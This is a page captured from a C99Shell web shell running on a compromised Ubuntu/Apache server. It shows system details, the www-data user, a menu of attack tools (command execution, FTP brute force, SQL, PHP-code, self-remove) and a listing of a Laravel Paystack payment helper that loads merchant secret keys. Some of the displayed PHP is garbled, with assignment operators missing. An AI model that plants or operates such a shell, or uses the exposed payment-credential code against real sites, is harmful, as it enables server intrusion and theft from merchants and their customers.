!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/app/Helper/Order/   drwxr-xr-x
Free 13.33 GB of 57.97 GB (22.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Paystack.php (4.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace App\Helper\Order;
use 
Illuminate\Http\Request;
use 
Auth;
use 
Omnipay\Omnipay;
use 
Session;
use 
Illuminate\Support\Facades\Http;
use 
Redirect;
use 
Illuminate\Http\RedirectResponse;
use 
App\Order;
use 
App\Getway;
class 
Paystack
{
    
     public static function 
redirect_if_payment_success()
     {
        return 
url('/payment/payment-success');
     }

    public static function 
redirect_if_payment_faild()
    {
     return 
url('/payment/payment-fail');  
    }

    public function 
view(){
        if(
Session::has('paystack_payment') && Session::get('customer_order_info')){
            
$array=Session::get('customer_order_info');
            
$amount=$array['amount'];
            
$user_iddomain_info('user_id');
            
$data=Getway::where('user_id',$user_id)->where('category_id',$array['getway_id'])->first();
            
$info=json_decode($data->content);

            
$credentials['public_key']=$info->public_key;
            
$credentials['secret_key']=$info->secret_key;
            
$credentials['currency']=$info->currency;
            
$credentials['amount']=$amount;
            
$credentials['email']=$array['email'];

            if(
Session::has('paystack_credentials')){
                
Session::forget('paystack_credentials');
            }
            
Session::put('paystack_credentials',$credentials);
                      

          return 
view(base_view().'.payment.paystack',compact('credentials'));
        }
        
abort(404);
    }

    public function 
status(Request $request) {
    
      
Session::forget('customer_payment_info');

      if(
Session::has('paystack_payment') && Session::has('customer_order_info') && Session::has('paystack_credentials')){
        
$info=Session::get('paystack_credentials');

        
$order_infoSession::get('customer_order_info');
        
$phone=$order_info['phone'];
        
$email=$order_info['email'];
        
$amount=$order_info['amount'];




           
$curl curl_init();
           
curl_setopt_array($curl, array(
            
CURLOPT_URL => "https://api.paystack.co/transaction/verify/".$request->ref_id,
            
CURLOPT_RETURNTRANSFER => true,
            
CURLOPT_ENCODING => "",
            
CURLOPT_MAXREDIRS => 10,
            
CURLOPT_TIMEOUT => 30,
            
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            
CURLOPT_CUSTOMREQUEST => "GET",
            
CURLOPT_HTTPHEADER => array(
                
"Authorization: Bearer ".$info['secret_key']."",
                
"Cache-Control: no-cache",
            ),
        ));

           
$response curl_exec($curl);

           
$err curl_error($curl);
           
curl_close($curl);

           if (
$err) {
               
Session::forget('paystack_credentials');
               return 
redirect(Paystack::redirect_if_payment_faild());
           } else {
            
$data=json_decode($response);
            
            if(
$data->status == true && $data->data->status == 'success'){
                
$payment_id=$data->data->reference;
                
$amount=$data->data->amount/100;
                if(
$amount != $info['amount']){
                    return 
abort(404);
                }




                
                
$pay_data['payment_id'] = $data->data->reference;
                
$pay_data['payment_method'] = "paystack";
               
                
$pay_data['ref_id'] =$order_info['ref_id'];
                
$pay_data['getway_id']=$order_info['getway_id'];
                
$pay_data['amount'] =$order_info['amount'];
                
$pay_data['billName']=$order_info['billName'];
                
Session::put('customer_payment_info'$pay_data);
                
Session::forget('customer_order_info');
                
Session::forget('order_info');
                
Session::forget('paystack_payment');
                
Session::forget('paystack_credentials');

                return 
redirect(Paystack::redirect_if_payment_success());
            }
            
$order_infoSession::get('customer_order_info');

            
Order::destroy($order_info['ref_id']);
            
Session::forget('customer_order_info');
            
Session::forget('order_info');
            
Session::forget('paystack_payment');
            
Session::forget('paystack_credentials');
            return 
redirect(Paystack::redirect_if_payment_faild());
        }



       
abort(404);
    }

  }

}    

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--